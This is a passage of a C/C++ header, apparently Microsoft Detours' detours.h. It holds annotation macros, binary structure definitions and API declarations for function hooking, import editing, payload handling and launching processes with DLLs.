_In_count_\n#define _In_count_(x)\n#endif\n\n#ifndef __in_ecount\n#define __in_ecount(x)\n#endif\n\n#ifndef _In_opt_\n#define _In_opt_\n#endif\n\n#ifndef _In_opt_bytecount_\n#define _In_opt_bytecount_(x)\n#endif\n\n#ifndef _In_opt_count_\n#define _In_opt_count_(x)\n#endif\n\n#ifndef _In_opt_z_\n#define _In_opt_z_\n#endif\n\n#ifndef _In_range_\n#define _In_range_(x,y)\n#endif\n\n#ifndef _In_reads_\n#define _In_reads_(x)\n#endif\n\n#ifndef _In_reads_bytes_\n#define _In_reads_bytes_(x)\n#endif\n\n#ifndef _In_reads_opt_\n#define _In_reads_opt_(x)\n#endif\n\n#ifndef _In_reads_opt_bytes_\n#define _In_reads_opt_bytes_(x)\n#endif\n\n#ifndef _In_reads_or_z_\n#define _In_reads_or_z_\n#endif\n\n#ifndef _In_z_\n#define _In_z_\n#endif\n\n#ifndef _Inout_\n#define _Inout_\n#endif\n\n#ifndef _Inout_opt_\n#define _Inout_opt_\n#endif\n\n#ifndef _Inout_z_count_\n#define _Inout_z_count_(x)\n#endif\n\n#ifndef _Out_\n#define _Out_\n#endif\n\n#ifndef _Out_opt_\n#define _Out_opt_\n#endif\n\n#ifndef _Out_writes_\n#define _Out_writes_(x)\n#endif\n\n#ifndef _Outptr_result_maybenull_\n#define _Outptr_result_maybenull_\n#endif\n\n#ifndef _Writable_bytes_\n#define _Writable_bytes_(x)\n#endif\n\n#ifndef _Readable_bytes_\n#define _Readable_bytes_(x)\n#endif\n\n#ifndef _Success_\n#define _Success_(x)\n#endif\n\n#ifndef _Pre_notnull_\n#define _Pre_notnull_\n#endif\n\n#ifdef DETOURS_INTERNAL\n\n#pragma warning(disable:4615) // unknown warning type (suppress with older compilers)\n\n#ifndef _Benign_race_begin_\n#define _Benign_race_begin_\n#endif\n\n#ifndef _Benign_race_end_\n#define _Benign_race_end_\n#endif\n\n#ifndef _Field_size_\n#define _Field_size_(x)\n#endif\n\n#ifndef _Field_range_\n#define _Field_range_(x,y)\n#endif\n\n#ifndef _Analysis_assume_\n#define _Analysis_assume_(x)\n#endif\n\n#endif // DETOURS_INTERNAL\n#endif // DETOURS_DONT_REMOVE_SAL_20\n\n//////////////////////////////////////////////////////////////////////////////\n//\n#ifndef GUID_DEFINED\n#define GUID_DEFINED\ntypedef struct  _GUID\n{\n    DWORD Data1;\n    WORD Data2;\n    WORD Data3;\n    BYTE Data4[ 8 ];\n} GUID;\n\n#ifdef INITGUID\n#define DEFINE_GUID(name, l, w1, w2, b1, b2, b3, b4, b5, b6, b7, b8) \\\n        const GUID name \\\n                = { l, w1, w2, { b1, b2,  b3,  b4,  b5,  b6,  b7,  b8 } }\n#else\n#define DEFINE_GUID(name, l, w1, w2, b1, b2, b3, b4, b5, b6, b7, b8) \\\n    const GUID name\n#endif // INITGUID\n#endif // !GUID_DEFINED\n\n#if defined(__cplusplus)\n#ifndef _REFGUID_DEFINED\n#define _REFGUID_DEFINED\n#define REFGUID             const GUID &\n#endif // !_REFGUID_DEFINED\n#else // !__cplusplus\n#ifndef _REFGUID_DEFINED\n#define _REFGUID_DEFINED\n#define REFGUID             const GUID * const\n#endif // !_REFGUID_DEFINED\n#endif // !__cplusplus\n\n#ifndef ARRAYSIZE\n#define ARRAYSIZE(x)    (sizeof(x)/sizeof(x[0]))\n#endif\n\n//\n//////////////////////////////////////////////////////////////////////////////\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif // __cplusplus\n\n/////////////////////////////////////////////////// Instruction Target Macros.\n//\n#define DETOUR_INSTRUCTION_TARGET_NONE          ((PVOID)0)\n#define DETOUR_INSTRUCTION_TARGET_DYNAMIC       ((PVOID)(LONG_PTR)-1)\n#define DETOUR_SECTION_HEADER_SIGNATURE         0x00727444   // \"Dtr\\0\"\n\nextern const GUID DETOUR_EXE_RESTORE_GUID;\nextern const GUID DETOUR_EXE_HELPER_GUID;\n\n#define DETOUR_TRAMPOLINE_SIGNATURE             0x21727444  // Dtr!\ntypedef struct _DETOUR_TRAMPOLINE DETOUR_TRAMPOLINE, *PDETOUR_TRAMPOLINE;\n\n#ifndef DETOUR_MAX_SUPPORTED_IMAGE_SECTION_HEADERS\n#define DETOUR_MAX_SUPPORTED_IMAGE_SECTION_HEADERS      32\n#endif // !DETOUR_MAX_SUPPORTED_IMAGE_SECTION_HEADERS\n\n/////////////////////////////////////////////////////////// Binary Structures.\n//\n#pragma pack(push, 8)\ntypedef struct _DETOUR_SECTION_HEADER\n{\n    DWORD       cbHeaderSize;\n    DWORD       nSignature;\n    DWORD       nDataOffset;\n    DWORD       cbDataSize;\n\n    DWORD       nOriginalImportVirtualAddress;\n    DWORD       nOriginalImportSize;\n    DWORD       nOriginalBoundImportVirtualAddress;\n    DWORD       nOriginalBoundImportSize;\n\n    DWORD       nOriginalIatVirtualAddress;\n    DWORD       nOriginalIatSize;\n    DWORD       nOriginalSizeOfImage;\n    DWORD       cbPrePE;\n\n    DWORD       nOriginalClrFlags;\n    DWORD       reserved1;\n    DWORD       reserved2;\n    DWORD       reserved3;\n\n    // Followed by cbPrePE bytes of data.\n} DETOUR_SECTION_HEADER, *PDETOUR_SECTION_HEADER;\n\ntypedef struct _DETOUR_SECTION_RECORD\n{\n    DWORD       cbBytes;\n    DWORD       nReserved;\n    GUID        guid;\n} DETOUR_SECTION_RECORD, *PDETOUR_SECTION_RECORD;\n\ntypedef struct _DETOUR_CLR_HEADER\n{\n    // Header versioning\n    ULONG                   cb;\n    USHORT                  MajorRuntimeVersion;\n    USHORT                  MinorRuntimeVersion;\n\n    // Symbol table and startup information\n    IMAGE_DATA_DIRECTORY    MetaData;\n    ULONG                   Flags;\n\n    // Followed by the rest of the IMAGE_COR20_HEADER\n} DETOUR_CLR_HEADER, *PDETOUR_CLR_HEADER;\n\ntypedef struct _DETOUR_EXE_RESTORE\n{\n    DWORD               cb;\n    DWORD               cbidh;\n    DWORD               cbinh;\n    DWORD               cbclr;\n\n    PBYTE               pidh;\n    PBYTE               pinh;\n    PBYTE               pclr;\n\n    IMAGE_DOS_HEADER    idh;\n    union {\n        IMAGE_NT_HEADERS    inh;        // all environments have this\n#ifdef IMAGE_NT_OPTIONAL_HDR32_MAGIC    // some environments do not have this\n        IMAGE_NT_HEADERS32  inh32;\n#endif\n#ifdef IMAGE_NT_OPTIONAL_HDR64_MAGIC    // some environments do not have this\n        IMAGE_NT_HEADERS64  inh64;\n#endif\n#ifdef IMAGE_NT_OPTIONAL_HDR64_MAGIC    // some environments do not have this\n        BYTE                raw[sizeof(IMAGE_NT_HEADERS64) +\n                                sizeof(IMAGE_SECTION_HEADER) * DETOUR_MAX_SUPPORTED_IMAGE_SECTION_HEADERS];\n#else\n        BYTE                raw[0x108 + sizeof(IMAGE_SECTION_HEADER) * DETOUR_MAX_SUPPORTED_IMAGE_SECTION_HEADERS];\n#endif\n    };\n    DETOUR_CLR_HEADER   clr;\n\n} DETOUR_EXE_RESTORE, *PDETOUR_EXE_RESTORE;\n\n#ifdef IMAGE_NT_OPTIONAL_HDR64_MAGIC\nC_ASSERT(sizeof(IMAGE_NT_HEADERS64) == 0x108);\n#endif\n\n// The size can change, but assert for clarity due to the muddying #ifdefs.\n#ifdef _WIN64\nC_ASSERT(sizeof(DETOUR_EXE_RESTORE) == 0x688);\n#else\nC_ASSERT(sizeof(DETOUR_EXE_RESTORE) == 0x678);\n#endif\n\ntypedef struct _DETOUR_EXE_HELPER\n{\n    DWORD               cb;\n    DWORD               pid;\n    DWORD               nDlls;\n    CHAR                rDlls[4];\n} DETOUR_EXE_HELPER, *PDETOUR_EXE_HELPER;\n\n#pragma pack(pop)\n\n#define DETOUR_SECTION_HEADER_DECLARE(cbSectionSize) \\\n{ \\\n      sizeof(DETOUR_SECTION_HEADER),\\\n      DETOUR_SECTION_HEADER_SIGNATURE,\\\n      sizeof(DETOUR_SECTION_HEADER),\\\n      (cbSectionSize),\\\n      \\\n      0,\\\n      0,\\\n      0,\\\n      0,\\\n      \\\n      0,\\\n      0,\\\n      0,\\\n      0,\\\n}\n\n///////////////////////////////////////////////////////////// Binary Typedefs.\n//\ntypedef BOOL (CALLBACK *PF_DETOUR_BINARY_BYWAY_CALLBACK)(\n    _In_opt_ PVOID pContext,\n    _In_opt_ LPCSTR pszFile,\n    _Outptr_result_maybenull_ LPCSTR *ppszOutFile);\n\ntypedef BOOL (CALLBACK *PF_DETOUR_BINARY_FILE_CALLBACK)(\n    _In_opt_ PVOID pContext,\n    _In_ LPCSTR pszOrigFile,\n    _In_ LPCSTR pszFile,\n    _Outptr_result_maybenull_ LPCSTR *ppszOutFile);\n\ntypedef BOOL (CALLBACK *PF_DETOUR_BINARY_SYMBOL_CALLBACK)(\n    _In_opt_ PVOID pContext,\n    _In_ ULONG nOrigOrdinal,\n    _In_ ULONG nOrdinal,\n    _Out_ ULONG *pnOutOrdinal,\n    _In_opt_ LPCSTR pszOrigSymbol,\n    _In_opt_ LPCSTR pszSymbol,\n    _Outptr_result_maybenull_ LPCSTR *ppszOutSymbol);\n\ntypedef BOOL (CALLBACK *PF_DETOUR_BINARY_COMMIT_CALLBACK)(\n    _In_opt_ PVOID pContext);\n\ntypedef BOOL (CALLBACK *PF_DETOUR_ENUMERATE_EXPORT_CALLBACK)(_In_opt_ PVOID pContext,\n                                                             _In_ ULONG nOrdinal,\n                                                             _In_opt_ LPCSTR pszName,\n                                                             _In_opt_ PVOID pCode);\n\ntypedef BOOL (CALLBACK *PF_DETOUR_IMPORT_FILE_CALLBACK)(_In_opt_ PVOID pContext,\n                                                        _In_opt_ HMODULE hModule,\n                                                        _In_opt_ LPCSTR pszFile);\n\ntypedef BOOL (CALLBACK *PF_DETOUR_IMPORT_FUNC_CALLBACK)(_In_opt_ PVOID pContext,\n                                                        _In_ DWORD nOrdinal,\n                                                        _In_opt_ LPCSTR pszFunc,\n                                                        _In_opt_ PVOID pvFunc);\n\n// Same as PF_DETOUR_IMPORT_FUNC_CALLBACK but extra indirection on last parameter.\ntypedef BOOL (CALLBACK *PF_DETOUR_IMPORT_FUNC_CALLBACK_EX)(_In_opt_ PVOID pContext,\n                                                           _In_ DWORD nOrdinal,\n                                                           _In_opt_ LPCSTR pszFunc,\n                                                           _In_opt_ PVOID* ppvFunc);\n\ntypedef VOID * PDETOUR_BINARY;\ntypedef VOID * PDETOUR_LOADED_BINARY;\n\n//////////////////////////////////////////////////////////// Transaction APIs.\n//\nLONG WINAPI DetourTransactionBegin(VOID);\nLONG WINAPI DetourTransactionAbort(VOID);\nLONG WINAPI DetourTransactionCommit(VOID);\nLONG WINAPI DetourTransactionCommitEx(_Out_opt_ PVOID **pppFailedPointer);\n\nLONG WINAPI DetourUpdateThread(_In_ HANDLE hThread);\n\nLONG WINAPI DetourAttach(_Inout_ PVOID *ppPointer,\n                         _In_ PVOID pDetour);\n\nLONG WINAPI DetourAttachEx(_Inout_ PVOID *ppPointer,\n                           _In_ PVOID pDetour,\n                           _Out_opt_ PDETOUR_TRAMPOLINE *ppRealTrampoline,\n                           _Out_opt_ PVOID *ppRealTarget,\n                           _Out_opt_ PVOID *ppRealDetour);\n\nLONG WINAPI DetourDetach(_Inout_ PVOID *ppPointer,\n                         _In_ PVOID pDetour);\n\nBOOL WINAPI DetourSetIgnoreTooSmall(_In_ BOOL fIgnore);\nBOOL WINAPI DetourSetRetainRegions(_In_ BOOL fRetain);\nPVOID WINAPI DetourSetSystemRegionLowerBound(_In_ PVOID pSystemRegionLowerBound);\nPVOID WINAPI DetourSetSystemRegionUpperBound(_In_ PVOID pSystemRegionUpperBound);\n\n////////////////////////////////////////////////////////////// Code Functions.\n//\nPVOID WINAPI DetourFindFunction(_In_ LPCSTR pszModule,\n                                _In_ LPCSTR pszFunction);\nPVOID WINAPI DetourCodeFromPointer(_In_ PVOID pPointer,\n                                   _Out_opt_ PVOID *ppGlobals);\nPVOID WINAPI DetourCopyInstruction(_In_opt_ PVOID pDst,\n                                   _Inout_opt_ PVOID *ppDstPool,\n                                   _In_ PVOID pSrc,\n                                   _Out_opt_ PVOID *ppTarget,\n                                   _Out_opt_ LONG *plExtra);\nBOOL WINAPI DetourSetCodeModule(_In_ HMODULE hModule,\n                                _In_ BOOL fLimitReferencesToModule);\nPVOID WINAPI DetourAllocateRegionWithinJumpBounds(_In_ LPCVOID pbTarget,\n                                                  _Out_ PDWORD pcbAllocatedSize);\nBOOL WINAPI DetourIsFunctionImported(_In_ PBYTE pbCode,\n                                     _In_ PBYTE pbAddress);\n\n///////////////////////////////////////////////////// Loaded Binary Functions.\n//\nHMODULE WINAPI DetourGetContainingModule(_In_ PVOID pvAddr);\nHMODULE WINAPI DetourEnumerateModules(_In_opt_ HMODULE hModuleLast);\nPVOID WINAPI DetourGetEntryPoint(_In_opt_ HMODULE hModule);\nULONG WINAPI DetourGetModuleSize(_In_opt_ HMODULE hModule);\nBOOL WINAPI DetourEnumerateExports(_In_ HMODULE hModule,\n                                   _In_opt_ PVOID pContext,\n                                   _In_ PF_DETOUR_ENUMERATE_EXPORT_CALLBACK pfExport);\nBOOL WINAPI DetourEnumerateImports(_In_opt_ HMODULE hModule,\n                                   _In_opt_ PVOID pContext,\n                                   _In_opt_ PF_DETOUR_IMPORT_FILE_CALLBACK pfImportFile,\n                                   _In_opt_ PF_DETOUR_IMPORT_FUNC_CALLBACK pfImportFunc);\n\nBOOL WINAPI DetourEnumerateImportsEx(_In_opt_ HMODULE hModule,\n                                     _In_opt_ PVOID pContext,\n                                     _In_opt_ PF_DETOUR_IMPORT_FILE_CALLBACK pfImportFile,\n                                     _In_opt_ PF_DETOUR_IMPORT_FUNC_CALLBACK_EX pfImportFuncEx);\n\n_Writable_bytes_(*pcbData)\n_Readable_bytes_(*pcbData)\n_Success_(return != NULL)\nPVOID WINAPI DetourFindPayload(_In_opt_ HMODULE hModule,\n                               _In_ REFGUID rguid,\n                               _Out_opt_ DWORD *pcbData);\n\n_Writable_bytes_(*pcbData)\n_Readable_bytes_(*pcbData)\n_Success_(return != NULL)\nPVOID WINAPI DetourFindPayloadEx(_In_ REFGUID rguid,\n                                 _Out_opt_ DWORD *pcbData);\n\nDWORD WINAPI DetourGetSizeOfPayloads(_In_opt_ HMODULE hModule);\n\nBOOL WINAPI DetourFreePayload(_In_ PVOID pvData);\n///////////////////////////////////////////////// Persistent Binary Functions.\n//\n\nPDETOUR_BINARY WINAPI DetourBinaryOpen(_In_ HANDLE hFile);\n\n_Writable_bytes_(*pcbData)\n_Readable_bytes_(*pcbData)\n_Success_(return != NULL)\nPVOID WINAPI DetourBinaryEnumeratePayloads(_In_ PDETOUR_BINARY pBinary,\n                                           _Out_opt_ GUID *pGuid,\n                                           _Out_ DWORD *pcbData,\n                                           _Inout_ DWORD *pnIterator);\n\n_Writable_bytes_(*pcbData)\n_Readable_bytes_(*pcbData)\n_Success_(return != NULL)\nPVOID WINAPI DetourBinaryFindPayload(_In_ PDETOUR_BINARY pBinary,\n                                     _In_ REFGUID rguid,\n                                     _Out_ DWORD *pcbData);\n\nPVOID WINAPI DetourBinarySetPayload(_In_ PDETOUR_BINARY pBinary,\n                                    _In_ REFGUID rguid,\n                                    _In_reads_opt_(cbData) PVOID pData,\n                                    _In_ DWORD cbData);\nBOOL WINAPI DetourBinaryDeletePayload(_In_ PDETOUR_BINARY pBinary, _In_ REFGUID rguid);\nBOOL WINAPI DetourBinaryPurgePayloads(_In_ PDETOUR_BINARY pBinary);\nBOOL WINAPI DetourBinaryResetImports(_In_ PDETOUR_BINARY pBinary);\nBOOL WINAPI DetourBinaryEditImports(_In_ PDETOUR_BINARY pBinary,\n                                    _In_opt_ PVOID pContext,\n                                    _In_opt_ PF_DETOUR_BINARY_BYWAY_CALLBACK pfByway,\n                                    _In_opt_ PF_DETOUR_BINARY_FILE_CALLBACK pfFile,\n                                    _In_opt_ PF_DETOUR_BINARY_SYMBOL_CALLBACK pfSymbol,\n                                    _In_opt_ PF_DETOUR_BINARY_COMMIT_CALLBACK pfCommit);\nBOOL WINAPI DetourBinaryWrite(_In_ PDETOUR_BINARY pBinary, _In_ HANDLE hFile);\nBOOL WINAPI DetourBinaryClose(_In_ PDETOUR_BINARY pBinary);\n\n/////////////////////////////////////////////////// Create Process & Load Dll.\n//\n_Success_(return != NULL)\nPVOID WINAPI DetourFindRemotePayload(_In_ HANDLE hProcess,\n                                     _In_ REFGUID rguid,\n                                     _Out_opt_ DWORD *pcbData);\n\ntypedef BOOL (WINAPI *PDETOUR_CREATE_PROCESS_ROUTINEA)(\n    _In_opt_ LPCSTR lpApplicationName,\n    _Inout_opt_ LPSTR lpCommandLine,\n    _In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes,\n    _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,\n    _In_ BOOL bInheritHandles,\n    _In_ DWORD dwCreationFlags,\n    _In_opt_ LPVOID lpEnvironment,\n    _In_opt_ LPCSTR lpCurrentDirectory,\n    _In_ LPSTARTUPINFOA lpStartupInfo,\n    _Out_ LPPROCESS_INFORMATION lpProcessInformation);\n\ntypedef BOOL (WINAPI *PDETOUR_CREATE_PROCESS_ROUTINEW)(\n    _In_opt_ LPCWSTR lpApplicationName,\n    _Inout_opt_ LPWSTR lpCommandLine,\n    _In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes,\n    _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,\n    _In_ BOOL bInheritHandles,\n    _In_ DWORD dwCreationFlags,\n    _In_opt_ LPVOID lpEnvironment,\n    _In_opt_ LPCWSTR lpCurrentDirectory,\n    _In_ LPSTARTUPINFOW lpStartupInfo,\n    _Out_ LPPROCESS_INFORMATION lpProcessInformation);\n\nBOOL WINAPI DetourCreateProcessWithDllA(_In_opt_ LPCSTR lpApplicationName,\n                                        _Inout_opt_ LPSTR lpCommandLine,\n                                        _In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes,\n                                        _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,\n                                        _In_ BOOL bInheritHandles,\n                                        _In_ DWORD dwCreationFlags,\n                                        _In_opt_ LPVOID lpEnvironment,\n                                        _In_opt_ LPCSTR lpCurrentDirectory,\n                                        _In_ LPSTARTUPINFOA lpStartupInfo,\n                                        _Out_ LPPROCESS_INFORMATION lpProcessInformation,\n                                        _In_ LPCSTR lpDllName,\n                                        _In_opt_ PDETOUR_CREATE_PROCESS_ROUTINEA pfCreateProcessA);\n\nBOOL WINAPI DetourCreateProcessWithDllW(_In_opt_ LPCWSTR lpApplicationName,\n                                        _Inout_opt_ LPWSTR lpCommandLine,\n                                        _In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes,\n                                        _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,\n                                        _In_ BOOL bInheritHandles,\n                                        _In_ DWORD dwCreationFlags,\n                                        _In_opt_ LPVOID lpEnvironment,\n                                        _In_opt_ LPCWSTR lpCurrentDirectory,\n                                        _In_ LPSTARTUPINFOW lpStartupInfo,\n                                        _Out_ LPPROCESS_INFORMATION lpProcessInformation,\n                                        _In_ LPCSTR lpDllName,\n                                        _In_opt_ PDETOUR_CREATE_PROCESS_ROUTINEW pfCreateProcessW);\n\n#ifdef UNICODE\n#define DetourCreateProcessWithDll      DetourCreateProcessWithDllW\n#define PDETOUR_CREATE_PROCESS_ROUTINE  PDETOUR_CREATE_PROCESS_ROUTINEW\n#else\n#define DetourCreateProcessWithDll      DetourCreateProcessWithDllA\n#define PDETOUR_CREATE_PROCESS_ROUTINE  PDETOUR_CREATE_PROCESS_ROUTINEA\n#endif // !UNICODE\n\nBOOL WINAPI DetourCreateProcessWithDllExA(_In_opt_ LPCSTR lpApplicationName,\n                                          _Inout_opt_ LPSTR lpCommandLine,\n                                          _In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes,\n                                          _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,\n                                          _In_ BOOL bInheritHandles,\n                                          _In_ DWORD dwCreationFlags,\n                                          _In_opt_ LPVOID lpEnvironment,\n                                          _In_opt_ LPCSTR lpCurrentDirectory,\n                                          _In_ LPSTARTUPINFOA lpStartupInfo,\n                                          _Out_ LPPROCESS_INFORMATION lpProcessInformation,\n                                          _In_ LPCSTR lpDllName,\n                                          _In_opt_ PDETOUR_CREATE_PROCESS_ROUTINEA pfCreateProcessA);\n\nBOOL WINAPI DetourCreateProcessWithDllExW(_In_opt_ LPCWSTR lpApplicationName,\n                                          _Inout_opt_  LPWSTR lpCommandLine,\n                                          _In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes,\n                                          _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,\n                                          _In_ BOOL bInheritHandles,\n                                          _In_ DWORD dwCreationFlags,\n                                          _In_opt_ LPVOID lpEnvironment,\n                                          _In_opt_ LPCWSTR lpCurrentDirectory,\n                                          _In_ LPSTARTUPINFOW lpStartupInfo,\n                                          _Out_ LPPROCESS_INFORMATION lpProcessInformation,\n                                          _In_ LPCSTR lpDllName,\n                                          _In_opt_ PDETOUR_CREATE_PROCESS_ROUTINEW pfCreateProcessW);\n\n#ifdef UNICODE\n#define DetourCreateProcessWithDllEx    DetourCreateProcessWithDllExW\n#else\n#define DetourCreateProcessWithDllEx    DetourCreateProcessWithDllExA\n#endif // !UNICODE\n\nBOOL WINAPI DetourCreateProcessWithDllsA(_In_opt_ LPCSTR lpApplicationName,\n                                         _Inout_opt_ LPSTR lpCommandLine,\n                                         _In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes,\n                                         _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,\n                                         _In_ BOOL bInheritHandles,\n                                         _In_ DWORD dwCreationFlags,\n                                         _In_opt_ LPVOID lpEnvironment,\n                                         _In_opt_ LPCSTR lpCurrentDirectory,\n                                         _In_ LPSTARTUPINFOA lpStartupInfo,\n                                         _Out_ LPPROCESS_INFORMATION lpProcessInformation,\n                                         _In_ DWORD nDlls,\n                                         _In_reads_(nDlls) LPCSTR *rlpDlls,\n                                         _In_opt_ PDETOUR_CREATE_PROCESS_ROUTINEA pfCreateProcessA);\n\nBOOL WINAPI DetourCreateProcessWithDllsW(_In_opt_ LPCWSTR lpApplicationName,\n                                         _Inout_opt_ LPWSTR lpCommandLine,\n                                         _In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes,\n                                         _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,\n                                         _In_ BOOL bInheritHandles,\n                                         _In_ DWORD dwCreationFlags,\n                                         _In_opt_ LPVOID lpEnvironment,\n                                         _In_opt_ LPCWSTR lpCurrentDirectory,\n                                         _In_ LPSTARTUPINFOW lpStartupInfo,\n                                         _Out_ LPPROCESS_INFORMATION lpProcessInformation,\n                                         _In_ DWORD nDlls,\n                                         _In_reads_(nDlls) LPCSTR *rlpDlls,\n                                         _In_opt_ PDETOUR_CREATE_PROCESS_ROUTINEW pfCreateProcessW);\n\n#ifdef UNICODE\n#define DetourCreateProcessWithDlls     DetourCreateProcessWithDllsW\n#else\n#define DetourCreateProcessWithDlls     DetourCreateProcessWithDllsA\n#endif // !UNICODE\n\nBOOL WINAPI DetourProcessViaHelperA(_In_ DWORD dwTargetPid,\n                                    _In_ LPCSTR lpDllName,\n                                    _In_ PDETOUR_CREATE_PROCESS_ROUTINEA pfCreateProcessA);\n\nBOOL WINAPI DetourProcessViaHelperW(_In_ DWORD dwTargetPid,\n                                    _In_ LPCSTR lpDllName,\n                                    _In_ PDETOUR_CREATE_PROCESS_ROUTINEW pfCreateProcessW);\n\n#ifdef UNICODE\n#define DetourProcessViaHelper          DetourProcessViaHelperW\n#else\n#define DetourProcessViaHelper          DetourProcessViaHelperA\n#endif // !UNICODE\n\nBOOL WINAPI DetourProcessViaHelperDllsA(_In_ DWORD dwTargetPid,\n                                        _In_ DWORD nDlls,\n                                        _In_reads_(nDlls) LPCSTR *rlpDlls,\n                                        _In_ PDETOUR_CREATE_PROCESS_ROUTINEA pfCreateProcessA);\n\nBOOL WINAPI DetourProcessViaHelperDllsW(_In_ DWORD dwTargetPid,\n                                        _In_ DWORD nDlls,\n                                        _In_reads_(nDlls) LPCSTR *rlpDlls,\n                                        _In_ PDETOUR_CREATE_PROCESS_ROUTINEW pfCreateProcessW);\n\n#ifdef UNICODE\n#define DetourProcessViaHelperDlls      DetourProcessViaHelperDllsW\n#else\n#define DetourProcessViaHelperDlls      DetourProcessViaHelperDllsA\n#endif // !UNICODE\n\nBOOL WINAPI DetourUpdateProcessWithDll(_In_ HANDLE hProcess,\n                                       _In_reads_(nDlls) LPCSTR *rlpDlls,\n                                       _In_ DWORD nDlls);\n\nBOOL WINAPI DetourUpdateProcessWithDllEx(_In_ HANDLE hProcess,\n                                         _In_ HMODULE hImage,\n                                         _In_ BOOL bIs32Bit,\n                                         _In_reads_(nDlls) LPCSTR *rlpDlls,\n                                         _In_ DWORD nDlls);\n\nBOOL WINAPI DetourCopyPayloadToProcess(_In_ HANDLE hProcess,\n                                       _In_ REFGUID rguid,\n                                       _In_reads_bytes_(cbData) LPCVOID pvData,\n                                       _In_ DWORD cbData);\n_Success_(return != NULL)\nPVOID WINAPI DetourCopyPayloadToProcessEx(_In_ HANDLE hProcess,\n                                          _In_ REFGUID rguid,\n                                          _In_reads_bytes_(cbData) LPCVOID pvData,\n                                          _In_ DWORD cbData);\n\nBOOL WINAPI DetourRestoreAfterWith(VOID);\nBOOL WINAPI DetourRestoreAfterWithEx(_In_reads_bytes_(cbData) PVOID pvData,\n                                     _In_ DWORD cbData);\nBOOL WINAPI DetourIsHelperProcess(VOID);\nVOID CALLBACK DetourFinishHelperProcess(_In_ HWND,\n                                        _In_ HINSTANCE,\n                                        _In_ LPSTR,\n                                        _In_ INT);\n\n//\n//////////////////////////////////////////////////////////////////////////////\n#ifdef __cplusplus\n}\n#endif // __cplusplus\n\n/////////////////////////////////////////////////// Type-safe overloads for C++\n//\n#if __cplusplus >= 201103L || _MSVC_LANG >= 201103L\n#include <type_traits>\n\ntemplate<typename T>\nstruct DetoursIsFunctionPointer : std::false_type {};\n\ntemplate<typename T>\nstruct DetoursIsFunctionPointer<T*> : std::is_function<typename std::remove_pointer<T>::type> {};\n\ntemplate<\n    typename T,\n    typename std::enable_if<DetoursIsFunctionPointer<T>::value, int>::type = 0>\nLONG DetourAttach(_Inout_ T *ppPointer,\n                  _In_ T pDetour) noexcept\n{\n    return DetourAttach(\n        reinterpret_cast<void**>(ppPointer),\n        reinterpret_cast<void*>(pDetour));\n}\n\ntemplate<\n    typename T,\n    typename std::enable_if<DetoursIsFunctionPointer<T>::value, int>::type = 0>\nLONG DetourAttachEx(_Inout_ T *ppPointer,\n                    _In_ T pDetour,\n                    _Out_opt_ PDETOUR_TRAMPOLINE *ppRealTrampoline,\n                    _Out_opt_ T *ppRealTarget,\n                    _Out_opt_ T *ppRealDetour) noexcept\n{\n    return DetourAttachEx(\n        reinterpret_cast<void**>(ppPointer),\n        reinterpret_cast<void*>(pDetour),\n        ppRealTrampoline,\n        reinterpret_cast<void**>(ppRealTarget),\n        reinterpret_cast<void**>(ppRealDetour));\n}\n\ntemplate<\n    typename T,\n    typename std::enable_if<DetoursIsFunctionPointer<T>::value, int>::type = 0>\nLONG DetourDetach(_Inout_ T *ppPointer,\n                  _In_ T pDetour) noexcept\n{\n    return DetourDetach(\n        reinterpret_cast<void**>(ppPointer),\n        reinterpret_cast<void*>(pDetour));\n}\n\n#endif // __cplusplus >= 201103L || _MSVC_LANG >= 201103L\n//\n//////////////////////////////////////////////////////////////////////////////\n\n//////////////////////////////////////////////// Detours Internal Definitions.\n//\n#ifdef __cplusplus\n#ifdef DETOURS_INTERNAL\n\n#define NOTHROW\n// #define NOTHROW (nothrow)\n\n//////////////////////////////////////////////////////////////////////////////\n//\n#if (_MSC_VER < 1299) && !defined(__GNUC__)\n#include <imagehlp.h>\ntypedef IMAGEHLP_MODULE IMAGEHLP_MODULE64;\ntypedef PIMAGEHLP_MODULE PIMAGEHLP_MODULE64;\ntypedef IMAGEHLP_SYMBOL SYMBOL_INFO;\ntypedef PIMAGEHLP_SYMBOL PSYMBOL_INFO;\n\nstatic inline\nLONG InterlockedCompareExchange(_Inout_ LONG *ptr, _In_ LONG nval, _In_ LONG oval)\n{\n    return (LONG)::InterlockedCompareExchange((PVOID*)ptr, (PVOID)nval, (PVOID)oval);\n}\n#else\n#pragma warning(push)\n#pragma warning(disable:4091) // empty typedef\n#include <dbghelp.h>\n#pragma warning(pop)\n#endif\n\n#ifdef IMAGEAPI // defined by DBGHELP.H\ntypedef LPAPI_VERSION (NTAPI *PF_ImagehlpApiVersionEx)(_In_ LPAPI_VERSION AppVersion);\n\ntypedef BOOL (NTAPI *PF_SymInitialize)(_In_ HANDLE hProcess,\n                                       _In_opt_ LPCSTR UserSearchPath,\n                                       _In_ BOOL fInvadeProcess);\ntypedef DWORD (NTAPI *PF_SymSetOptions)(_In_ DWORD SymOptions);\ntypedef DWORD (NTAPI *PF_SymGetOptions)(VOID);\ntypedef DWORD64 (NTAPI *PF_SymLoadModule64)(_In_ HANDLE hProcess,\n                                            _In_opt_ HANDLE hFile,\n                                            _In_opt_ LPSTR ImageName,\n                                            _In_opt_ LPSTR ModuleName,\n                                            _In_ DWORD64 BaseOfDll,\n                                            _In_ DWORD SizeOfDll);\ntypedef BOOL (NTAPI *PF_SymGetModuleInfo64)(_In_ HANDLE hProcess,\n                                            _In_ DWORD64 qwAddr,\n                                            _Out_ PIMAGEHLP_MODULE64 ModuleInfo);\ntypedef BOOL (NTAPI *PF_SymFromName)(_In_ HANDLE hProcess,\n                                     _In_ LPSTR Name,\n                                     _Out_ 